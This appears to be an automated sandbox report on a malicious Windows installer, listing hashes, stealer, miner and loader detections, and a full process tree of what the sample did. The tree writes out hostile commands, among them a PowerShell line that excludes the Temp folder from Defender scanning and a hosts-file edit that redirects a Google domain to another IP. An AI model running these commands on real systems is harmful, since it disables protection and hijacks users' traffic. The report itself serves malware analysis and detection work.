Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows11_x64

10

setup_x86_...ll.exe

windows10_x64

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

8

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

Resubmissions

07/09/2021, 17:26

210907-vzzaxsdae6 10

07/09/2021, 13:18

210907-qkaa2acfe3 10

06/09/2021, 17:52

210906-wfz9jsbch4 10

06/09/2021, 17:51

210906-wfnwhsbch3 10

06/09/2021, 13:27

210906-qp3hdaedaj 10

06/09/2021, 09:28

210906-lfpgyaeael 10

06/09/2021, 04:33

210906-e6mmpsaaa2 10

05/09/2021, 05:25

210905-f4h26sfab6 10

04/09/2021, 21:32

210904-1dqdsahfdj 10

04/09/2021, 21:19

210904-z56z6shfck 10

Analysis

  • max time kernel
    655s
  • max time network
    1569s
  • platform
    windows11_x64
  • resource
    win11
  • submitted
    06/09/2021, 04:33

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    setup_x86_x64_install.exe

  • Size

    2.2MB

  • MD5

    e3b3a95ef03de0de77cca7a54ea22c94

  • SHA1

    d318d234f8f27f25de660d9881113df9d11c24ff

  • SHA256

    baa381f572d293636b6e48cacd2cd6a6f4f9e5f71c583873260f6ac01f0f5e15

  • SHA512

    3c1c6254f14491bc2cb096d8b46d0d65e096dac331bab2df9c5b173271eef1b9a9deb831f212a0117fab16665277208d0c1b5183ea600cc2bbe6f9049c57ad0d

Score
10/10
gluptebametasploitredlinesocelarsvidarxmrigaspackv2backdoordiscoverydropperevasioninfostealerloaderminerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba Payload 1 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 1 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Suspicious use of NtCreateProcessExOtherParentProcess 21 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Vidar Stealer 1 IoCs
    stealer
  • XMRig Miner Payload 1 IoCs
    miner
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Blocklisted process makes network request 45 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 64 IoCs
  • Stops running service(s) 3 TTPs
    evasion
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 56 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 28 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 21 IoCs
  • Checks processor information in registry 2 TTPs 64 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 45 IoCs
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 61 IoCs
  • Modifies system certificate store 2 TTPs 8 IoCs
    evasionspywaretrojan
  • NTFS ADS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: SetClipboardViewer 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 17 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3040
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4260
      • C:\Users\Admin\AppData\Local\Temp\7zS4A0355E3\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zS4A0355E3\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:3548
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4528
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4780
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Fri1544861ac3fe6a.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4544
          • C:\Users\Admin\AppData\Local\Temp\7zS4A0355E3\Fri1544861ac3fe6a.exe
            Fri1544861ac3fe6a.exe
            5⤵
            • Executes dropped EXE
            PID:4448
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4448 -s 280
              6⤵
              • Program crash
              • Checks processor information in registry
              • Enumerates system info in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:1280
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Fri157e25afd971.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4700
          • C:\Users\Admin\AppData\Local\Temp\7zS4A0355E3\Fri157e25afd971.exe
            Fri157e25afd971.exe
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3780
            • C:\Users\Admin\AppData\Local\Temp\is-2N7VK.tmp\Fri157e25afd971.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-2N7VK.tmp\Fri157e25afd971.tmp" /SL5="$40134,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS4A0355E3\Fri157e25afd971.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:648
              • C:\Users\Admin\AppData\Local\Temp\is-LIPCF.tmp\zab2our.exe
                "C:\Users\Admin\AppData\Local\Temp\is-LIPCF.tmp\zab2our.exe" /S /UID=burnerch2
                7⤵
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of AdjustPrivilegeToken
                PID:2348
                • C:\Program Files\Windows Mail\BJVYNOHLNE\ultramediaburner.exe
                  "C:\Program Files\Windows Mail\BJVYNOHLNE\ultramediaburner.exe" /VERYSILENT
                  8⤵
                  • Executes dropped EXE
                  PID:4128
                  • C:\Users\Admin\AppData\Local\Temp\is-00LJP.tmp\ultramediaburner.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-00LJP.tmp\ultramediaburner.tmp" /SL5="$5016A,281924,62464,C:\Program Files\Windows Mail\BJVYNOHLNE\ultramediaburner.exe" /VERYSILENT
                    9⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    PID:4448
                    • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                      "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                      10⤵
                      • Executes dropped EXE
                      PID:5136
                • C:\Users\Admin\AppData\Local\Temp\28-a1489-8f1-8b982-164bca8a21b85\Devugaraesae.exe
                  "C:\Users\Admin\AppData\Local\Temp\28-a1489-8f1-8b982-164bca8a21b85\Devugaraesae.exe"
                  8⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5364
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                    9⤵
                    • Adds Run key to start application
                    • Enumerates system info in registry
                    • NTFS ADS
                    • Suspicious use of FindShellTrayWindow
                    PID:3152
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0x100,0x110,0x7ff864cc46f8,0x7ff864cc4708,0x7ff864cc4718
                      10⤵
                        PID:5896
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2148 /prefetch:2
                        10⤵
                          PID:6848
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 /prefetch:3
                          10⤵
                            PID:6880
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2668 /prefetch:8
                            10⤵
                              PID:6904
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3472 /prefetch:1
                              10⤵
                                PID:7144
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3464 /prefetch:1
                                10⤵
                                  PID:7096
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3012 /prefetch:1
                                  10⤵
                                    PID:4568
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5132 /prefetch:1
                                    10⤵
                                      PID:3100
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4376 /prefetch:1
                                      10⤵
                                        PID:3116
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3076 /prefetch:8
                                        10⤵
                                          PID:2832
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3076 /prefetch:8
                                          10⤵
                                            PID:6104
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3088 /prefetch:1
                                            10⤵
                                              PID:1776
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5332 /prefetch:2
                                              10⤵
                                                PID:2400
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1636 /prefetch:8
                                                10⤵
                                                  PID:2912
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5440 /prefetch:1
                                                  10⤵
                                                    PID:4436
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5112 /prefetch:1
                                                    10⤵
                                                      PID:7032
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1840 /prefetch:1
                                                      10⤵
                                                        PID:1284
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5140 /prefetch:1
                                                        10⤵
                                                          PID:7144
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3780 /prefetch:8
                                                          10⤵
                                                            PID:3676
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3120 /prefetch:8
                                                            10⤵
                                                              PID:920
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4300 /prefetch:1
                                                              10⤵
                                                                PID:3040
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1648 /prefetch:1
                                                                10⤵
                                                                  PID:3396
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4140 /prefetch:1
                                                                  10⤵
                                                                    PID:3788
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5092 /prefetch:8
                                                                    10⤵
                                                                      PID:4012
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5440 /prefetch:1
                                                                      10⤵
                                                                        PID:4176
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6224 /prefetch:8
                                                                        10⤵
                                                                          PID:5352
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6332 /prefetch:8
                                                                          10⤵
                                                                          • NTFS ADS
                                                                          PID:2848
                                                                        • C:\Users\Admin\Downloads\freevpn_setup_e_wda0e98dn41o9k9a2j7ngd88.exe
                                                                          "C:\Users\Admin\Downloads\freevpn_setup_e_wda0e98dn41o9k9a2j7ngd88.exe"
                                                                          10⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          • Drops file in Program Files directory
                                                                          PID:5040
                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                            sc stop FreeVPN
                                                                            11⤵
                                                                              PID:5692
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              "C:\Windows\system32\cmd.exe" /c "sc query "FreeVPN" | FIND /C "1060""
                                                                              11⤵
                                                                                PID:2308
                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                  sc query "FreeVPN"
                                                                                  12⤵
                                                                                    PID:5428
                                                                                  • C:\Windows\SysWOW64\find.exe
                                                                                    FIND /C "1060"
                                                                                    12⤵
                                                                                      PID:8
                                                                                  • C:\Program Files (x86)\FreeVPN\search_awesome.exe
                                                                                    "C:\Program Files (x86)\FreeVPN\search_awesome.exe" /S
                                                                                    11⤵
                                                                                    • Executes dropped EXE
                                                                                    • Loads dropped DLL
                                                                                    • Drops file in Program Files directory
                                                                                    • Modifies system certificate store
                                                                                    PID:3084
                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                      sc stop Search_Awesome
                                                                                      12⤵
                                                                                        PID:5588
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "C:\Windows\system32\cmd.exe" /c "sc query "Search_Awesome" | FIND /C "1060""
                                                                                        12⤵
                                                                                          PID:3388
                                                                                          • C:\Windows\SysWOW64\find.exe
                                                                                            FIND /C "1060"
                                                                                            13⤵
                                                                                              PID:1812
                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                              sc query "Search_Awesome"
                                                                                              13⤵
                                                                                                PID:6300
                                                                                            • C:\Program Files (x86)\Search Awesome\setup.exe
                                                                                              "C:\Program Files (x86)\Search Awesome\setup.exe" add 139.162.197.244 www.gstatic.com C:\Windows\system32\drivers\etc\hosts
                                                                                              12⤵
                                                                                              • Drops file in Drivers directory
                                                                                              • Executes dropped EXE
                                                                                              PID:2476
                                                                                            • C:\Program Files (x86)\Search Awesome\setup.exe
                                                                                              "C:\Program Files (x86)\Search Awesome\setup.exe" -clean
                                                                                              12⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:5700
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5700 -s 680
                                                                                                13⤵
                                                                                                • Program crash
                                                                                                • Checks processor information in registry
                                                                                                • Enumerates system info in registry
                                                                                                PID:5048
                                                                                            • C:\Program Files (x86)\Search Awesome\setup.exe
                                                                                              "C:\Program Files (x86)\Search Awesome\setup.exe" -in
                                                                                              12⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:4676
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4676 -s 632
                                                                                                13⤵
                                                                                                • Program crash
                                                                                                • Checks processor information in registry
                                                                                                • Enumerates system info in registry
                                                                                                PID:1532
                                                                                          • C:\Program Files (x86)\FreeVPN\FreeVPN.exe
                                                                                            "C:\Program Files (x86)\FreeVPN\FreeVPN.exe" -in
                                                                                            11⤵
                                                                                            • Executes dropped EXE
                                                                                            • Loads dropped DLL
                                                                                            PID:2252
                                                                                          • C:\Program Files (x86)\FreeVPN\FreeVPN.exe
                                                                                            "C:\Program Files (x86)\FreeVPN\FreeVPN.exe"
                                                                                            11⤵
                                                                                            • Executes dropped EXE
                                                                                            • Loads dropped DLL
                                                                                            • Drops file in Program Files directory
                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                            • Suspicious use of SendNotifyMessage
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:2824
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              cmd.exe /c chcp 65001 > nul & cmd.exe /c netsh wlan show interfaces > openvpn\dat\tmp_check_WiFi.dat
                                                                                              12⤵
                                                                                                PID:2988
                                                                                                • C:\Windows\SysWOW64\chcp.com
                                                                                                  chcp 65001
                                                                                                  13⤵
                                                                                                    PID:5824
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2824 -s 1824
                                                                                                  12⤵
                                                                                                  • Program crash
                                                                                                  • Checks processor information in registry
                                                                                                  • Enumerates system info in registry
                                                                                                  PID:5600
                                                                                              • C:\Program Files (x86)\FreeVPN\FreeVPN.exe
                                                                                                "C:\Program Files (x86)\FreeVPN\FreeVPN.exe" -typ https://www.freevpn.win/download/thankyou.html?vcid=wda0e98dn41o9k9a2j7ngd88&txid=ba089faf82bb6c2191d0435eb2bc059a9d869225
                                                                                                11⤵
                                                                                                • Executes dropped EXE
                                                                                                • Loads dropped DLL
                                                                                                PID:1412
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.freevpn.win/download/thankyou.html?vcid=wda0e98dn41o9k9a2j7ngd88&txid=ba089faf82bb6c2191d0435eb2bc059a9d869225
                                                                                                  12⤵
                                                                                                    PID:3372
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff864cc46f8,0x7ff864cc4708,0x7ff864cc4718
                                                                                                      13⤵
                                                                                                        PID:1336
